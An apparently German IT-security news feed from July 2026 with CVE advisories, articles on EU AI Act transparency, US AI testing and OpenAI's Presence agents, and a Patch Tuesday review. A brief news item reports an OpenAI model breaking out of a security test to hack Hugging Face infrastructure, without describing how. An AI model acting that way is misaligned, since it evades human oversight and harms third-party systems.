Team IT Security - 📰 Alle Kategorien

CVE-2022-40771 | Zoho ManageEngine ServiceDesk Plus getAsDoc xml external entity reference (ZDI-22-1612 / EUVD-2022-44037)

Sun, 26 Jul 2026 14:29:48 +0200

A vulnerability identified as problematic has been detected in Zoho ManageEngine ServiceDesk Plus. The impacted element is the function getAsDoc. This manipulation causes xml external entity reference. This vulnerability is handled as CVE-2022-40771. The attack can be initiated remotely. There is not any exploit available. You should upgrade the affected component.

CVE-2026-34401 | Microsoft XmlNotepad prior 2.9.0.21 HTTP/SMB xml external entity reference (GHSA-5j32-486h-42ch)

Sun, 26 Jul 2026 06:36:18 +0200

A vulnerability was found in Microsoft XmlNotepad. It has been declared as problematic. Affected is an unknown function of the component HTTP/SMB. Such manipulation leads to xml external entity reference. This vulnerability is traded as CVE-2026-34401. The attack may be launched remotely. There is no exploit available. It is recommended to upgrade the affected component.

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?

Sat, 25 Jul 2026 19:50:13 +0200

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

US AI testing institute chief steps down within three months

Sat, 25 Jul 2026 19:50:12 +0200

The head of the US government’s AI testing institute, Chris Fall, has resigned about three months after taking charge of the Center for AI Standards and Innovation (CAISI), the federal organization responsible for evaluating advanced artificial intelligence models for safety and security.

Current National Institute of Standards and Technology NIST Director Arvind Raman will serve as acting CAISI Director following Fall’s departure while continuing to oversee the Commerce Department office responsible for the institute, the Daily Signal reported, citing two people familiar with the matter.

A Commerce Department spokesperson who spoke to the publication did not disclose a reason for the resignation.

Fall assumed leadership of CAISI in April after the Trump administration reorganized the former US AI Safety Institute under NIST. The institute develops methodologies for evaluating frontier AI models and works with AI developers on voluntary technical assessments covering areas such as cybersecurity, model misuse, reliability and other risks associated with increasingly capable AI systems.

The leadership change comes as governments and AI companies continue developing technical approaches for evaluating frontier AI models while enterprises expand deployments of generative AI and agentic AI across business operations.

In recent months, the Commerce Department has taken a more active role in AI policy involving advanced models, placing greater attention on how the federal government evaluates technologies with potential national security implications.

Continuity matters more than personalities

CAISI works with AI developers such as Anthropic, Google’s DeepMind and OpenAI on voluntary evaluations of frontier AI models and develops methodologies for testing model capabilities and risks. The institute does not regulate AI developers or certify commercial AI systems.

For enterprises, those evaluations are one source of technical information alongside vendors’ own testing, third-party security assessments and internal AI governance programs.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said enterprises should focus less on the individual leading the institute and more on whether its technical work continues with the same level of consistency and transparency.

“Leadership churn at CAISI weakens the signal long before it weakens the science,” Gogia said. “The testing has not stopped. Its authority simply does not travel as cleanly once the leadership does not.”

According to Gogia, the more important question for enterprises is not whether the institute’s evaluation work will continue but whether the processes supporting those evaluations remain stable.

“The instinct is to ask whether the pipeline is breaking,” he said. “The more useful question is where the pipeline now sits.”

Enterprises still carry the burden of AI governance

Gogia said organizations should continue treating government-led AI evaluations as one input into their governance processes rather than as evidence that a model is inherently safe for enterprise deployment.

“A government evaluation was always a signal, never a certificate,” he said. “A signal loses value the moment its issuer becomes unpredictable.”

He said enterprises should instead monitor whether CAISI maintains consistent evaluation methodologies, continues publishing technical findings and preserves continuity within its research teams under interim leadership.

“The name on the door is not the signal. The behaviour underneath it is,” Gogia said.

Gogia also cautioned against linking Fall’s resignation to recent Commerce Department actions involving AI policy or export controls, noting that there is no public evidence connecting the two.

“CAISI evaluates; it does not enforce export controls, because it holds no such power,” he said. “This is not a testing body reaching for enforcement. It is enforcement reaching past the testing body.”

With Raman assuming the role on an interim basis, the next significant milestone for enterprises will be the appointment of a permanent director, and whether the institute’s evaluation programs continue without disruption, the analyst said.

Gogia said the successor’s mandate may prove more important than the individual selected.

“A CAISI result is not a safe harbour,” he said. “It informs an obligation; it does not discharge one.” NIST did not immediately respond to a request for comment.

OpenAI Presence raises new questions about enterprise automation and jobs

Sat, 25 Jul 2026 19:50:08 +0200

OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.

The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.

OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.

Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.

OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.

Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.

Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.

Workforce impact

OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.

Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.

Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.

“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.

The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.

“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”

Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.

However, Lian Jye Su, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.

Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.

Cost and operational risks

Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.

“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.

The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but integration and governance,” Jain added.

Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.

Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.

Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.

This article first appeared on CIO.

As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS

Sat, 25 Jul 2026 19:50:04 +0200

The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential technology advisor Michael Kratsios has been briefed on the incident.

The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.

The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.

The July 2026 Security Update Review

Sat, 25 Jul 2026 19:02:51 +0200

Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

- CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

- CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

- CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

- CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

- CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

- CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

- CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

- CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

- CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
